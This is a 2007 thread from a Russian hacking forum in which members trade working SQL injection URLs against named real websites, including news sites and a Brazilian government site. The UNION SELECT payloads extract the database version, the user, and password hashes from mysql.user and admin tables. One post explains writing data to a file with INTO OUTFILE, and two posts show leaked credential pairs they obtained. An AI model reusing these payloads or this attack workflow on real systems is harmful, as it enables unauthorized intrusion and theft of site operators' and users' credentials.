ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.04.2007, 22:13
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
С нами: 10307906

Репутация: 1365


По умолчанию

Код:
http://www.ipsnotizie.it/nota.php?idnews=-619+union+select+1,2,concat(database(),char(58),user(),char(58),version())/*
 
Ответить с цитированием

  #2  
Старый 08.04.2007, 22:32
Fr-Ron
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
С нами: 10350730

Репутация: 337
По умолчанию

Web studio... Блин, свой сайт до ума не доведут, но под заказ от 200 у.е. - пожалуйста...
К mysql.user доступ закрыт, но мож кто-то таблиц найдет каких =)

Цитата:
http://www.mg-portal.com.ua/index.php?st=0&lang=0&id=50+union+select+1,2,3,con cat(version(),char(58),char(58),char(58),user()),5
 
Ответить с цитированием

  #3  
Старый 08.04.2007, 22:33
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами: 10686686

Репутация: 447
По умолчанию

Цитата:
Сообщение от ShadOS  
Зато мы подобрали. Ты немного переборщил. Вот как надо:
Код:
http://yard.ru/members/?remind&login=-9%27%20union%20select%20null,null,null,null,null,null,null,null,password,user,null,null,null,null,null,null,null,null,null,null,null,null%20from%20mysql.user%20limit+0,1+INTO+OUTFILE+'test'/*
ты все перепутал запись в файл делается так
select+1,2,3,4,5,'тут данные которые будут записаны в файл'+from+mysql.user+into+outfile+'а тут папка куда записать'/*
 
Ответить с цитированием

  #4  
Старый 08.04.2007, 22:39
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
С нами: 10307906

Репутация: 1365


По умолчанию

www.radiobras.gov.br

Уже и бразилия =\

Код:
http://www.radiobras.gov.br/materia_i_2004.php?materia=-258494+union+select+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(password,0x71),0x71),10,11,12,13,14+from+mysql.user/*
кажись так :

root:6578c02369b5e3a9
 
Ответить с цитированием

  #5  
Старый 08.04.2007, 22:44
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
С нами: 10487223

Репутация: 490
По умолчанию

Код:
http://personal.in.ua/article.php?ida=-1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13/*
Код:
http://www.vechirka.kiev.ua/article.php?id_article=-1+union+select+1,user(),3,4/*&cy=&cm=
 
Ответить с цитированием

  #6  
Старый 08.04.2007, 22:47
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами: 10686686

Репутация: 447
По умолчанию

Цитата:
Сообщение от Goudini  
Код:
http://personal.in.ua/article.php?ida=-1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13/*
Код:
http://www.vechirka.kiev.ua/article.php?id_article=-1+union+select+1,user(),3,4/*&cy=&cm=
Код:
http://www.vechirka.kiev.ua/article.php?id_article=-1+union+select+1,concat(login,char(58),pwd),3,4+from+admins/*&cy=&cm=
а вот и админский акк /me пока ее ищет

Последний раз редактировалось }{0TT@БЬ)Ч; 08.04.2007 в 22:50..
 
Ответить с цитированием

  #7  
Старый 08.04.2007, 23:02
Fr-Ron
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
С нами: 10350730

Репутация: 337
По умолчанию

Что - то мне подсказывает, что юзерорв тут ооочень много... Может потому что это 10-й по счету результат в гугле на запрос "Логин : "? =) Все дружно ищем таблицу с акками...

Цитата:
http://www.russianewswire.ru/releases_headlines_details.php?id=9929000+union+se lect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5 2,53,54,55,56
 
Ответить с цитированием

  #8  
Старый 08.04.2007, 23:35
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами: 10374086

Репутация: 1745


По умолчанию

Код:
http://www.crenos.it/news/singnews.php?idnews=-28+union+select+1,password,2,3,4,5,6,7,8,9+from+mysql.user/*
universities(универ какой-то)
Код:
http://www.karat-telecom.ru/News/vnews/pnews.php?idnews=-113+union+select+
пипец приехали . . .
 
Ответить с цитированием

  #9  
Старый 08.04.2007, 23:48
valiko
Участник форума
Регистрация: 28.01.2007
Сообщений: 153
С нами: 10149547

Репутация: 452
По умолчанию

Код:
http://www.ludolega.it/index.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,concat(user(),0x3a,database(),0x3a,version()),6,7/*
 
Ответить с цитированием

  #10  
Старый 09.04.2007, 01:39
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами: 10686686

Репутация: 447
По умолчанию

Цитата:
Сообщение от _Pantera_  
Очень интересный скуль. За все свое время 1 раз подобное встретил. Скуль в инклуде


http://www.ludolega.it/index.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,concat( username,char(58),user_password),6,7+from+forumLLL _users+limit+1,1/*


Iubatus:7d34d0d984f5803aecd4519d6b72145a
и нах спрашиваеться теперь морочиться с акк админа
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.